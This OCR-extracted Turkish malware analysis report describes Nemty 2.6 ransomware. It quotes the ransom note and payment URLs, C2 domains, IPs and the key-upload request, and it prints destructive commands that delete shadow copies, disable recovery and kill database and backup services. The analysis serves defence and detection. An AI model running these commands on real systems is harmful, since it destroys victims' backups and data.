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Giris

ilk olarak 2019 yilinin Agustos ayinda ortaya ¢ikan yeni bir Ransomware ailesi Nemty’nin,
saldirilarina yakin zamanlarda devam ettigi gortlmektedir. En son 09/03/2020tarihinde
ortaya cikan ve versiyon numarasi 2.6 olarak adlandirilan Nemty, sirketleri ve kisisel
bilgisayarlari hedef almaktadir.

Sifreleme isleminden sonra ise, kurbandan ortalam 1000S degerinde Bitcoin
istemektedir. Ayrica 6demenin belirlenen tarih araliginda yapilmamamasi durumunda
sistemlerde bulunan dosyalarin sizdirilmasi seklinde santaj yapilmaktadir.

Ransomware turiindeki Nemty zararlisini tanimlayici bilgiler asagidaki tabloda yer
almaktadir:

Zararlinin | Nemty Ransomware
Adi
Versiyon | V.2.6
MD5 2b6c6d8424c1b149c7f81e2565aaa7e6
SHA1 | f966ffdeabd60ae0ebd9c78fbd11f78319016fd8
SHA256 | 613c390d6b3b792d6bf0765e97719ac4278741abcebdd03d9fe394c8a46a841c
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On izlenim

~“4GAIS

Ransomware tirtindeki Nemty zararlisi sistem Uzerinde bir cok islem yapmaktadir.

Nemty’nin process 6n izlenim gorseli asagidadir.

| Cyber Security

= nrlmlym 2.85 4896 K 12924 K| 2080
= 6.35 212K 3638 K
= 1.98 212K 3634 K
=/ [EH cmd.exe 2228 K 3888 K 664 Windows Komut iglemcisi Microsoft Corporation
[m 7 tmshekeill.exe 0.1 2432 K 5688 K 1948 iglemler Sonlandinr Microsoft Corporation
=/ [EH cmd.exe 0.1 2228 K 3524 K 2272 Windows Komut iglemcisi Microsoft Corporation
= [m 7 et exe 013 1.068 K 3456 K 3608 Met Command Microsoft Corporation
[m7net].exe 215 12K 2472 K 2884 Net Command Microsoft Corporation
=/ [EH cmd.exe 2164 K 3504 K 3716 Windows Komut iglemcisi Microsoft Corporation
ﬂfﬁWHH:.m 587 2440 K 6096 K 352 WMI Commandiine Ltility Microsoft Corporation
|4 powershel.exe 917 6376 K 10480 K 3768 Windows PowerShell Microsoft Corporation
= anemtjr.exe 1302 4516 K 12788 K 2080

=] | 0.83 2276 K 35852 K  BB4 Windows Komut islemcisi Microsoft Comporation

069 2632K 6516 K

1.49 280K 432K

312 2580 K 6.408 K

245 2540 K 6.036 K

£ 3.40 372K 3.268 K

=] | 0.4 2380 K 4052 K

393 1.072 K 3460 K

9.51 1176 K 3700 K

1.068 K

Command Line:
net stop Acronis Agent

Path:

CAWindows SysWOWES net exe

3768 Windows PowerShell

Microsoft Corporation

Her ransomware zararhsinin bir karakteristigi olan shadow copy silme islemi
Ransomware turtindeki Nemty zararlisinda da gézlemlenmistir.

niz Cd. No:4 Akkom




Sifreleme islemi sona erdikten sonra ise her klasor ve alt klasorlere NEMTY_[RANDO M-

ID]-DECRYPT.txt adinda bir metin dosyasi olusturmakta ve ekrana ¢ikti vermektedir.

" NEMTY_QE1ZZ30-DECRYPT bt - Not Defteri E@

Dosya Dizen Bigim Gérindm  Yardm

---> NEMTY 2.6 REVENGE <---

some (or maybe all) of your files got encryped.
we provide decryption tool if you pay a ransom.

pon't worry, if we can't help you with decrypting - other people won't trust us.
we provide test decryption, as proof that we can decrypt your data.

You have 3 month to pay (after visiting the ransom page) until decryption key will be deleted from server.
after 3 month no one, even our service can’'t make decryptor.

1) web-Browser
a) open your browser.
b) open this Tink: http://nemty.top/public/pay.php
c) upload this file.
d) Follow the instructions.

2) Tor-Browser
a) pownload&Install Tor-Browser.
b) open Tor-Browser.
c) open this Tlink: http://zjoxywSmkacojksptn2iprkivgsclow?2mjkyksttubzxprjjnwapkad. onion/public/pay. php
d) upload this file.
e) Follow the instruction.

<BEGIN NEMTY KEY>

UXGOBBVE/YbyA‘\Skhd‘\CCCDkeU/LZHN"kakSWVE4WkDEZV5HdO]"F‘QHXaQahVaXZZeARf,"f'\PFF‘er’Ir‘\FMMtFZdVgTLlHE/Hd23Y1waqllqom'\E1VZYAOWLWENRZXT/D3Kqugr“kStckawatzacTr‘IlQuef,"r’SREWQVBQH/Qqu
+ruh1TxKxXnexBviWs eysKsX3dturBwvs10eD1Dhuy3Lzeb1262PgdDE44 8cqF 5SgPKpmdCFFXKYED,/599kg10Twjia+ougwyohuxm287H/UNCMQFw2EW,/7 t TESZ 8k 1 BSK2XXTAAFr On7MwD3 Xt c24 evEouHB5CMO1Zb7 cv1ONBS /BwKan
KTBSCQHZNQC 7Ms 3XSYVTISvIXVlehIMmjalAR97ReACISONCGILZzX3gn9vejTaokr 7ddk69EthsIiAQyAT cTELCflcz1TwezbGsZubkmlDgbGpb2+3Cp3thysiui eckctgovHHXVBWDVL2unMaedC1AprcM3pE4F18M8cmjHMGY T rfze

Zararlinin olusturdugu metin dosyasinda sifrelenen dosyalarin nasil ¢ozilecegine dair
notlarin yani sira metin dosyasinin en alt satirlarinda BEGIN NEMTY KEY basliginda bir
anahtar bulunmaktadir. Anahtara goz atildiginda RSA sifreleme algoritmasini hatirlattig
soylenebilmektedir. Ayricatalimatlarda normal web sitesinin yanisira, TOR agini kullanan
bir web sitesinin mevcut oldugu da goruilmektedir.

Metin dosyasinda yer alan web siteleri asagidaki gibidir:

- http://nemty.top/public/pay.php
- http://zjoxyw5mkacojk5ptn2iprkivg5clow72mikyk5ttubzxprjjnwapkad.onion/publ

ic/pay.ph

Ransomware tlrlindeki Nemty zararhsinin sifreledigi  dosyalarin  uzantilari
NEMTY_[RANDOM-ID] seklindedir.

CUrity.com

Istanbul : Saray Mh. Dokt;g‘r Adnan Biyiikdeniz Cd. No:4 Akkom
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Detayl Analiz

Ransomware tlrindeki Nemty zararlisinin analizinde kritik bulgulara ulasilmistir.
Bunlardan ilki, Ransomware tiiriindeki Nemty zararlisinin analistin isini dinamik analiz
asamasinda zorlastirmak icin anti-debug tekniklerini kullanmasidir.

s 5

; Attributes: library function

_DebuggerEnownHandle proc near

call ds:IsDebuggerPresent
test eax, eax
jz short loc_41BD11

En temel anti-debug tekniklerinden birisi olan IsDebuggerPresent API’sini kullanmaktadir.

il s

loc 4313A5:

call ds:GetLastError
call ds:GetTickCount
cmp esi, 75S4B2Fh
jle short loc_ 4313D4

Zaman tabanlianti-debug tekniklerinden birisi olan GetTickCount API’sini kullanmaktadir.

P
int 3 ; Trap to Debugger

Ayrica debug uygulamarinda sik¢ca kullanilan software breakpoint isleminin assembly
karsiigi olan int 3 komutunu algilladiginda ise debugger’t yakalayip kendini
sonlandirmaktadir.

Ayrica yukaridakigorsellerde belirtilen anti-debug tekniklerinin yani sira baska teknikler
de kullandigi tespit edilmistir.

Www.gaissecurity.com

Istanbul : Saray Mh. Do ktor Adnan Bilytikdeniz Cd. No:4 Akkom
Office Park 2.Blok 10/21 Umraniye / Istanbu




Ransomware tlrundeki Nemty zararlisinin Import ettigi API’ler incelendiginde bazi kritik

seviyede olan API’ler tespit edilmistir:
- WriteFile
- GetTickCount
- WriteConsoleA
- DebugActiveProcessStop
- CreateFileA
- GetCommandLineA
- IsDebuggerPresent
- QueryPerformanceCounter
- DebugBreak
- WriteConsoleW
- VirtualAlloc
- VirtualProtect

Statik olarak Import ettigi fonksiyonlar disinda diger kritik fonksiyonlari runtime aninda
Import etmektedir.

Ransomware tlrindeki Nemty zararlisinin analizi yapildigina zararlinin kullandigi Mutex
objeleri tespit edilmistir.

CreateMutexs

eax:&"C:\MUsers\h\Malw Labh\Desktophhnemty.exe"

eax:&"C:\\Usershy\Malw Labh\Desktop''nemiy.exe"

eax:&"C:\\Usershy\Malw Labh\Desktop''nemiy.exe"

[ebp+10]:"edu v magazi gucccchi v spb, grrrrrraa, ona zhret moi xui kak-budto eto burger.
-MUTEX-

“edu v magazi gucccchi v spb, grrrrrraa, ona zhret moi xui kak-budto eto burger...”

Ransomware tlrindeki Nemty zararlisi sisteme bulasmadan o©nce bazi dosyalar
olusturmaktadir. Bu dosyalar:

www.gaissecurity.com

Lo}
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- C:\Windows\Registration\R0O00000000006.clb

- C:\Users\[USERNAME]\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

- C:\Users\[USERNAME]\AppData\Local\Microsoft\Windows\Caches\{ AFBFOF 1A-8EE8-4C77-AF34-
C647E37CA0D9}.1.ver0x0000000000000006.db

- C:\User\Malw Lab\\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat

- C:\Users\Malw Lab\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3995735235-1365421534-
3291203492-1000\917b685c402c569c7ef15953ac01f631_619fd25d-6773-46b7-a416-8c5c¢8¢c16290c

- C:\Users\Malw Lab\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3995735235-1365421534-
3291203492-1000\d860c3add425c¢732002dea04eb2c98f0_619fd25d-6773-46b7-a416-8c5¢c8c16290c

- C:\Users\Malw Lab\AppData\Roaming\Microsoft\Windows\Cookies\75CW9Q4P.txt

o Budosyaniniceriginde db-ip.comadli IP ve IP’ye ait olan Ulkeyisorgulama web sitesinin
kullandigi Cloudflare altyapisinin cfuid degeribulunmaktadir.

Ransomware turtindeki Nemty zararlisinin detayli analizi yapildiginda sisteme bulasma
kararinibazi etkenlere gore verdigi gozlemlenmektedir.

mov edi,edi InternetOpenurla
push ebp

mov ebp,esp

sub esp,3C

lea eax,dword ptr ss:[fesp+4]]
push esi

push 38

push 0

push eax eax: "http: //api.db-ip. com/v2;/Tree,;178.233.143.13/countryNamea”
call <IMP.&memset>
add esp,C

lea ecx,dword ptr ss:|[Jesp+:&]) [esp+8]: "http: //api.db-ip.com/v2,/Tree/178.223.143. 13 /countryNama"
call wininet.756203CC

push dword ptr ss:|[ebp+1C]
mov edx,dword ptr ss:|[febp+Ch
push dword ptr ss:[Jebp+15]
mov ecx,dword ptr ss:|Jebp+:])
push dword ptr ss:[ebp+14]
push dword ptr ss:|febp+10] [ebp+10]: "pbkey™
call wininet.756A5B158
lea ecx,dword ptr ss:|[[esp+&] [esp+8]: "http: //api.db-1ip.com/v2/Tree/17
mov esi,eax eax: "http: //api.db-ip.com/v2/free/178.233
call wininet.7562042F
mov eax,esi eax: "http: //api.db-ip.com/v2,/Tree/178.233.143.13/countryName”
pop esi

mov esp,ebp
pop ebp

EEE 158

.233.143.13/countryName”
143.13/countryName"

Sistemin IP adresini api.db-ip.com web sitesine APl’ler yoluyla sorgulama yaparak, IP
adresinin hangi llkeye ait oldugunu tespit etmektedir. Bu tespit sonucunda ise

W CUrity.com

Istanbul ; Sara

Office Park 2.
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Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PC6EIDCU

dizinine countryName[1].txt adl bir dosya olusturmaktadir. Bu dosyanin igeriginde ise IP
adresinin ait oldugu tlkenin adi yazilmaktadir.

mj countryMame[1].td - Mot Defteri

Dosya Dizen Bigim  Gérdndm  Yardim

Turkey

Ransomware turtindeki Nemty zararlisinin analizi sonucunda bazi tilkelerin blacklist’e
alindigi farkedilmistir. APl ile IP sorgulamaislemi sonucunda web sitesinden donen ve
kaydedilen llke adi asagidaki blacklist’te yer aliyorsa, Ransomware tirindeki Nemty
zararlisi sisteme bulasmamaktadir:

- Rusya

- Belarus

- Kazakistan
- Tacikistan

- Ukrayna

- Azerbaycan
- Ermenistan
- Kirgizistan

- Moldova

Www.gaissecurity.com

Istanbul : Saray Mh. Do ktor Adnan Bilytikdeniz Cd. No:4 Akkom
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" A14CAC: "Turkey™ 411DA0; "Ukraine”
esi:"windows 7"

ecx: "windows

- . 411DAE: qzerka i jan™
411D80: "Eelarus esi:"windows 7

esi:"wWwindows 7"
o ecx: "windows 7"
ecx: "windows

_ 411DB4: "Armenia”
411DE8: KazaLkstar esi: "windows 7"
esi:"windows 7
ecx: "windows 7"

ecx: "windows

. 411DEC: "Kyrgyzstan”
411034: TaJ ikistan azq: "Windows 7
esi:"windows 7

. ecx: "wWindows 7"

ecx: "windows

i 411DCE: "MoT do /a"
411E.p: IIra ne" esi: "wWindows 7
esi: "window:

s I S
ecx: "windows esi: "window

Ransomware tlriindeki Nemty zararlisi, dil kontrollinlin yanisira;
- Isletim Sistemi Versiyonu ve Stirimij,
- Sistemi kullanan kullanicinin user name’i,
- Sistemin adi,
- Sistemin hardware ID degeri gibi bilgileri toplamaktadir.

edi+6&0:L"s10n"
edi+70:L"1.7601.18015 (win7spl_gdr.121129-1432)"

edi:L"tion"™, edi+80:L"8015 (win7spl_gdr.121129-1432)"

Daha sonra ise topladig tim bu bilgilerle birlikte RSA1024 sifreleme algoritmasi
kullanarak sifrelemektedir. Ve sifrelemeyi yaptigi anahtari kendi algoritmasina gore
modifiye ederek NEMTY KEY’i olusturmaktadir. Bu NEMTY KEY’i ise belli bash
parametreler ile komuta kontrol sunucusuna gondermektedir.

http://nemty10.biz/public/gate.php?data=

mov dword ptr 55:[ehﬂ =:].eax-
lea eax,dword ptr ss:|[[ebp+24]

push eax eax:&"http: //nemtyl0. biz /public/gate. php?data="

sub esp,i1cC

lea eax,dword ptr ss:|[[ebp+3] [ebp+8] : "bGOM,/PIKQUIPVHMET aZ KYS eNS1WCcGZ 0QAY cOtpdCtpt+HWlwmI a5 lw=="
mov esi,esp

push eax eax:&"http: //nemtyl0. biz /public/gate. php?data="

call nemty.4042CF

1ea ecx,dword ptr ss:|[[ebp-3CJ [ebp-3C] :"http: //nemtyl0.biz /public/gate. php7data="

call nemty. 406D38

Tea ecx,dword ptr ss:|lebp-20J
add esp,1cC

push ecx

MoV ecx,2ax eax:&"http: //nemtyl0. biz /public/gate. php?data="
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Zararhninin belirtilen alan adina ait olan komuta kontrol sunucusununilk IP Adresi;

45.143.138.38

olarak tespit edilmistir. Daha sonra C&C sunucusunun IP adresi degistirilmis olup;

91.215.170.231

seklinde glincellenmistir.

Ransomware turiindeki Nemty zararlisi dosyalari sifrelemeden 6nce, sifreleme islemini
yapacagl anahtarlari olusturmaktadir. Daha sonra bu anahtarlari saldirganin kendi
algoritmasina gore modifiye edip komuta kontrol sunucusundakigate.php dosyasina GET
methodu ile data parametresine gondermektedir.

Bu gonderim islemini yaparken User-Agent olarak “Naruto Uzumake” dizgisini
kullanmaktadir.

GET /public/gate.php?data=uggloweUAxcj7KYrrPGzrLOuky.ji3dNgKBraTABPhbtuyVnrB876DTqggfIkv3ri7Iwh.UC/F7bKmwe/BOe/

rUlKVexqmLgQrDeXQc TBLINECYp. ELz8XVomd4Vhwd ImvvsFHyz27LoTyuodvbBvlgMS25Y . 6yqscYkU. 6vk/tFFI1]I1dSIR7 IWw3F . EReTyx9Y jVRVTVI4NSz4Pp7 cwaRQF .

AZ3VKEVAFTnhhBcEqB. 0jsiGYEMFREISSSTtIBRbMpZFc\VWoYBLldvj. hGU. Iyqloaqx8k29efUkYIHDHa0S 1L BVDMEeZudmuBqS 2HGPweWUMeREUZH xyaEZzuamQ3K24Yz 1 EX. 1pj4hbGXySQMBdKIF IUjMwzhbODLIEFqcdmThrb71aG
XetKPiy8lghk&rZMXY3@PhoeYz7t1Z2CpMemME2TALKSCjmic sakkHIRyBp6IAWEaGVCP2hmw? LbUKwmE jmzVZBAVF TyloYmT pz 7uckNbqqpUGBptlubYqShsghP3zdG/jum. mc1W. Uc43diXWaTmYECIFIYHyvu/
H4yRAFnhmCwDB0SAFAULAQE1YQC9eF IbmyItpgBloED. WE/AQ7DUwre4s6E1MaumxqREI07HIC smxXUpQLh ImeE sMgz cSmriMLqsV46gd 7 THPHNT TmldHw?7 lwvqaP/ sg7qLidgHYx9eBobses1GkZX6]IwBHBVXqYnpkO . sEYG/
53mcKB759Yw8 . 1. bWTrtK6GwaAT/qBGvcukKUtOcy49UEILhp. gfFUEBSTW/ 1AUKNVPNM1418/ cadzmci6wexRXGEI1TB3S5yg/ YeDY3dgAbpLRVWWYbT . v3s . apAA4/656mne0UEemQ22fKTdDar T/
213ChWXDYURLHSZM1GwD14185Veb1q8DT11Zkz T8YjuARmC.
2x1Kddgz231ToSQoZYYpigATP4jZcPPTVx50kFaMIzdDDHINrx0VhE73pesShrfikfAPsydpAVEewckblYquIMOo4b79BSY6qeUG7he . Xr6zFeThxcN1jqrjskmGvOU. QjRxU183a4iB9an/
Hz1V0dSIOD11WaQx4E7DolFhqqLlYqOR.WILTOVzXK6atnIjdIKNmiHaZQj7BAdHTFNSIjWkMEsq30tEUrIsel/fOvaiqCtEGyLz . xWDjLAXB4In1Q]yFxMkMVSQTPB21]2x8Yd. 870xnYBqi%4r/EE7499T816d55UBexzQa/
hTjBpfgsRzlxEcnhuHeYwII]FIrpQ.nR1Alks@v/WgVFFNEITpyu. ILhACSOPOWDVEZE15XxNBCIr1FpwrdUlk. WO38wHF s 2WV0/ArsWcENg JWz114Eco DT g2QNaFV13pDAw==5aN848vkvUK3yTqQs/
asovyuBwIvakKB8ItuseIdwanDpk.BriZ/a/hBOitYZaENRCTTRKHWi7@81ickbbhcoCrvAshaaa,/
BdYVprEggDNTKZXxU9z0eIInD@BBgLoZHYap6SUBoPU . UXZt5qLEhKCiSXcrughUyuwXbnGRukXaqvlLI13LUCWBNL c3ynmc T 7nY34QWzVimN7 rwtVEQkt61QvnSFzpb8FansaL fkhxuf/
QOUyXrCyAOSYAIZ1iKPgnMknKIPPjeF7EgNShWI2Z SwqUONKNVUTDGer . 57alwfbBGP755D08hbWSAg6YhRrr3whiXEHL . jZQF LoIaHzvoyq TYWiPPCkuTMehMYx3T/63B/

BGeGhTrQFnN8TaTn4c zHKmM17@GE7PwpuQkUT114tvqlzZHIP5TyaoVPiQkbSvxBSKXyesBzKM/Ebasyre5iMd. Vg2ham/ KWl Iqeaxwko8AUEIE16MmEexml/

EJ6jyZridghi2Xf/.1ol1GBPEBVP1191kPfaYMhDTFUIL. b209RTpSkK15s8tooeYutthvwYel7qYvXaLZ . ecjwsQqDGeB4iagBYailotieuQQg4bYNmonkWcVBDQmATZGuymkEBBS2gztgD701FdoBzil1D6VbECQR/
t1x9Cri0kj8BHzEBbtqn6@1zwIb. ShNxtVrmqREFUCThm6@3wTBVAumanyWKPxllvtxgtNon@hPtQxkU1H94vo/

LNTs1Hpxy . pUPpPIixYWUDFYDQusCtHWFNABULowEHDs jkOp5smSeYeRWKISYE6Itj50HTIThqEC7011ZnBUIKIHWQBOMAWTGY z4vZTIgZeAA1aDAFSIPS275a0ZputbSesQuwiid61isTF8kLVrPLBtNMBTtP4JohiZNXe3kjzs/
drIgQuvHEKwl THRFWIWBHCdAVXFY2iwuNb/h31LHhDve LPSKIAT JwtGBehayqg/

i1qyBqYPp49XJdKovxqd5eqXsIxVdLmhiQiKP3TpgqsUm28blpATC@jIBz8sAh1t1FsOmkSByePGBenZo. HgLPfeZvKpexboRBrBIg2ojsEgXHVUIWREF L. vwyYtRS5z08CIyKFY6TSIVzczgfE/
sTMHmrwuli96qBkaAlqHemSy iXw7yXbowSWgKCuGKHwwOby SwiiYrsYb4cGOhIv4pENBQvEQPIfOVEe586t6zn0PenU09XZmbl . xZMIXGUEIIVMNIMeBdzz T/

TLc1IkBMBhTLIGIH3JyEACT cBdBYagAXtvoav7urwmeagy jnCdNjF4uZvB6QTNOKHZONAK,/ @. vqLx9aY1EAHRS c72ReH . PkD27FwoczyWl1xRYphvZRKL . 9FCiRcHUbhyeleew== HTTP/1.1

User-Agent: Naruto Uzumake

Host: nemtyl@.biz

Cache-Control: no-cache

Tim bu islemlerden sonra faaliyete gecmektedir. Ve ilk olarak shadow alanini 401 MB
olarak tekrardan boyutlandirmaktadir. Daha sonra sonda “unbounded” parametresi ile
sinirsiz boyuta ¢ikarmaktadir.

WWW rity.com

stanbul : Saray Mh. Doktor Adnan Buiylikdeniz Cd. No:4 Akkom
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xor ebx,ebx
inc ebx
push ebx
xor edi,edi
1ea esi,dword ptr ss:|[Jebp-55] [ebp-58]: c vssadmin resize shadowstorage /for=C: Jon=C: /maxsize=401ME"
£all nemty.4014BF

push ebx

lea esi,dword ptr ss:|[Jebp-74]
£all nemty.4014BF

push ebx

lea esi,dword ptr ss:|[Jebp-30]
€all nemty.4014BF

push ebx

1ea esi,dword ptr ss:|[Jebp-zo]
£all nemty.4014BF

push nemty.411C78

lea eax,dword ptr ss:|[Jebp-3C[
push eax

411C78:": /maxsize=unbounded”

411C40:": Jon="

push nem 1C48

lea eax,dword ptr ss:|[Jebp-zo]
€all nemty.40424E

pop ecx

push eax

lea eax,dword ptr ss:|[Jebp-30]
£all nemty.4033C7

pop ecx

pop ecx

lea ecx,dword ptr ss:[lebp-74]1
push ecx

mov eCK,23ax

£all nemty. 403364

pop ecx

pop ecx

push eax

lea eax,dword ptr ss:|[Jebp-5s] [ebp-58]: © vssadmin resize shadowstorage /for=C: Jon=C: /maxsize=401MB"
£all nemty.4033C7

cmp dword ptr ds:[eax+14],10
pop ecx

pop ecx

jb nemty.403BFC

411C48: € vssadmin resize shadowstorage /for=

Bu zararliisleminden sonraise asagidaki komutu kullanarak shadow copy’leri silmektedir.

/c bededit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled
no & wbadmin delete catalog -quiet & wmic shadowcopy delete

Zararhy islemlerini henliz bitirmeyen Nemty, bu zararli komutlarindan sonra bir ¢ok
islemi de zorlu bir sekilde durdurmaktadir. Ransomware tliriindeki Nemty zararlisinin
durdugu servislerin listesi asagidadir:

- Sql

- Winword

- Wordpad

- Outlook

- Thunderbird
- Oracle

- Excel

- Onenote

- Virtualboxvm
- Node

- QBW32

- WBGX

- Teams

- Flow

www.gaissecurity.com
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ShellExecuteA

eax:™ Jc taskkill /f /im =ql.* & taskkill /f /im winword.=* & taskkill /f /im wordpad.=* & taskkill /f /im outlook.=® & t&
[ebp-4]:&" /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.=*
[ebp+C] : "open”

[ebp+10]: "cmd. exe™

[ebp+14]:" /c taskkill /f /im sgl.* & taskkill /f /im winword.=* & taskkill /f /im wordpad.=* & taskkill /f /im outlook.=

[ebp-28]:&" /c taskkill /f /im sql.* & taskkill /f /im winword.*® & taskkill /f /im wordpad.=* & taskkill /f /im outlook.

[ebp-2C]:"taskkill /F /im 1.* & taskkill /F /im winword.=* & taskkill /f /im wordpad.® & taskkill /f /im outlook.® & t

= & taskkill /T word.* & taskkill /f /im wordpad.=* & taskkill /¥ /im outlook.*® & tz

eax:™ /c taskkill /f /im o < im wi
= & taskkill /f /im winword.=* & taskkill /f /im wordpad.=* & taskkill /f /im outlook.=® & t

[ebp-20]:"taskkill /f /im

[ebp-40]:" /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.=*

eax:™ Jc taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.=* & taskkill /¥ /im outlook.*® & tz

[ebp-40]:" /c taskkill /f /im =ql

ql. vinword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.=?
eax: c taskkill /f /im sgl.=* & tas i11 111 /

Foim w ;
kkill /F /im winword.* & taskki f /im wordpad.=* & taskki f /im outlook.=® & t&

[ebp-4]:&" /c taskkill /f /im sql.* & taskkill /f /im winword.=* & taskkill /f /im wordpad.* & taskkill /f /im outlook.=*

Ransomware turtindeki Nemty zararlisi sadece calisan islemleri degil, listesi asagida yer
alan spesifik hizmetleri de sonlandirmaktadir:

- DbxSvc

- OracleXETNSListener
- OracleServiceXE

- AcrSch2Svc

- AcronisAgent

- Apache2.4

- SQLWriter

- SQLEXPRESS

- MSsQL

- MSSQLServerADHelper100
- MongoDB

- SQLAgent

- SQLEXPRESS

- SQLBrowser

- CobianBackup11

- chVSCServicell

- QBCFMontorService
- QBVSS

WAV i ecy ” |jr 1 com
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eax:" /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrsSch2Svc & net stop AcronisAgent & net stop Ap

[ebp-20]: "QBCFMontorService™”

[ebp+iC]:&"C: Y \Usersi\Malw Lab'\Desktop\'nemty. exe"

[ebp-24]: "m46a0s=""" %\ "drives\": [{\"drive_type\": "FIXEDY\", \"drive_lettery":\"C: /", "total_size\":\"49GB\" ,\"used_size\":%\"45GE "}]1}"

eax:™ J/c net stop DbxSvc & net stop OracleXETNSListener & net stop OraclesServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Ap
3C: "<’

eax:" /c net stop Dbxsvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop Acrsch2svc & net stop AcronisAgent & net stop Ap
eax:™ /c net stop DbxSvc & net stop OracleXETNSListener & net stop OraclesServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Ap

[ebp-3C]:"net stop DbxSvc & net stop OracleXETMSListener & net stop OracleServicexXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop A

[ebp-20]: "QBCFMontorService™”

Belirli process ve hizmetleri sonlandiran Nemty, Powershell komut istemcisine;

-e
RwBIAHQALQBXAGOAaQBPAGIAagBIAGMAJAAgAFcAaQBUADMAMgBfAFMAaABhAGQAbwB3AG
MAbwBwWAHKAIABSACAARgBVAHIARQBhAGMAaAAtAEBAYgBgAGUAYWBOACAAewAKAFSALEBEAG
UAbABIAHQAZQAOACKAOWB9AA==

komutunu gondermektedir. Base ile encode edilen komut decode edildiginde;
Get-WmiObject Win32_Shadowcopy | ForEach-Object {S_.Delete();}

komutunun ortaya ¢iktigi tespit edilmistir. Ransomware tiriindeki Nemty zararlisi
Shadow Copy’lerisilme islemini birkag defa gerceklestirmekte ve bunu hem
Windows’un klasik komut satirindan, hem de Powershell komut istemcisinden
gerceklestirmektedir.

Kayit Defteri Bulgulari

Ransomware turtindeki Nemty zararlisi Windows Kayit Defteri’'nde bir ¢ok degisiklik
yapmaktadir. En kritik degisiklik tespit edilmis olup HKCU\Softwarealtinda NEMTY adinda
bir kayit defteri klasorii olusturmaktadir. Bu klasoriin icerisinde ise cfg, fid ve pbkey
adinda 3 adet deger bulunmaktadir.

WA 3 |CCh
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HKEY_CLASSES ROOT = || ag Tar Veri
4| HKEY_CURRENT USER

|| 2| (Varsayilan) REG_SZ (deger atanmarmusg)
AppEvents

REG_SZ Vg7HOrM+3jghQUMdAIzew8ttd DIB GABWYxHdUBsnRW+ Gzzrjl2RoB+ dgMkIH5f NwzLyG Bf fuwQmxiTynjOIXO/Bs5Y...
REG_SZ MNEMTY_AQZDW1V
REG_SZ BglAAACKAABSUDEAAQAAAEAAQChZRaQobBXvRiILAmLggseibZnFHS o HX2eSOHINUoxRrkkMBIHbiuk7Bbg@yOrsLdeG...

Console

Control Panel
Environment
EUDC

Identities
Keyboard Layout
Network

s - Jy Printers
4 | Software
b AppDatalow

Classes

Clients

Google

m

Hex-Rays
JavaSoft
Microsoft
NEMTY

Ve runtime zamaninda sik sik bu degerlerin olup olmadigini kontrol etmektedir.

Whitelist

Ransomware tlrindeki Nemty zararlisinin dosya sifreleme asamasinda whitelist
kullandig tespit edilmistir. Asagida yer alan listedeki uzantilara sahip olan dosyalar
whitelist’ini olusturmakta ve bu uzantilara sahip olan dosyalarisifrelememektedir.

- .exe
- .log
- .cab
- .cmd
- .com
- .cpl
- .ini

- .dll

- .url
-t

- .mp3
- .pif

- .mp4
- .NEFILIM
- .msi
- .nk

WA issecuri |jr 1.com
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- 73 04 jas nemty.4018F3
BD4424 14 Tea eax,dword ptr ss:|fesp+14]]
BE35 958F04000 mov esi,dword ptr ds:[<&Istrompiws]
68 18164100 push ‘="_\ 411618 411618:L". exe
50 push eax
FFD& €am esi
85C0 Test eax,eax
v OF84 08020000 je nemty.401B11
BE4424 14 mov eax,dword ptr ss:fesp+14]
397C24 28 cmp dword ptr ss:[esp ,,], d1i
- 73 04 jas nemty.401917
BD4424 14 lea eax d\mrd ptr ss:fesp+14f)
68 24164100 push 41162 411624:L".Tog
50 push eax
FFD6& €&l esi
85C0 test eax,eax
~ 0F84 EAD10000 Je nemty.401B11
BE4424 14 mov eax,dword ptr ss:flesp+14f]
397C24 28 cmp dv«urd ptr ss:[esp+zs],edi
v 73 04 jae nemty.401935
BD4424 14 'Iea eax dword ptr ss:[fesp+14]
68 30164100 Ty. 41163 411630:L". cab
50 push eax
FFD& €all esi
85C0 test eax,eax
~ OF84 CCO10000 je nemty.401B11
BE4424 14 mov eax,dword ptr ss:fesp+i4]
337C24 28 cmp dv.ord ptr ss:fQesp+z8],edi
- 73 04 jas nemty.401953
BD4424 14 lea eax,dword ptr ss:fesp+14f)
68 3C164100 push nemty. 4116 41163C:L". cmd
50 push eax
FFD6& €&l esi
85C0 test eax,eax
~ OF84 AE010000 je nemty.401B11
BE4424 14 mov eax,dword ptr ss:flesp+14f]
397C24 28 cmp dv«urd ptr ss:[Jesp+zs],edi
« 73 04 jas nemty.401971
BD4424 14 ]ea eax dword ptr ss:ffesp+14])
68 48164100 Ty. 41164 411648:L". com
S50 push eax
FFD& €al esi

Whitelist'inde var olan uzantilarin haricinde, spesifik dosya isimleri de whitelist’te
bulunmaktadir.

- Windows

- SRECYCLE.BIN

- rsa

- NTDETECT.COM
- ntldr

- MSDOS.SYS

- 10.SYS

- boot.ini

- AUTOEXEC.bat
- ntuser.dat

- Desktop.ini

- CONFIG.SYS

- RECYCLER

- BOOTSECT.BAK
- bootmgr

- Programdata

- Appdata

- Program Files

- Program Files (X86)
- Microsoft

- Sophos

- Pagefile.sys

www.gaissecurity.com
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cegall ==

test eax,eax

je nemty. 401B1E
push nemty. 4114340 411440z L" . 0"
Tea eax,dword ptr ss:|[fesp+Dof
s b eax

el esii

Test eax,eax

dj= nemty. 401B1E

push nemty. 411448 4131445 L". ... "
Tea e=ax, dword ptr ss:|fesp+Dof
s b eax

el ==

test eax,eax

je nemtyw. 401B1E

push nemty. 411450 411 450: L "wi ndows""
1ea =ax, dword ptr ss:|fesp+Dof
s b eax

calll ==

test eax,eax

j= nemty.401E1E

push nemity. 411460 411460 L"ERECYCLE. EIN"™
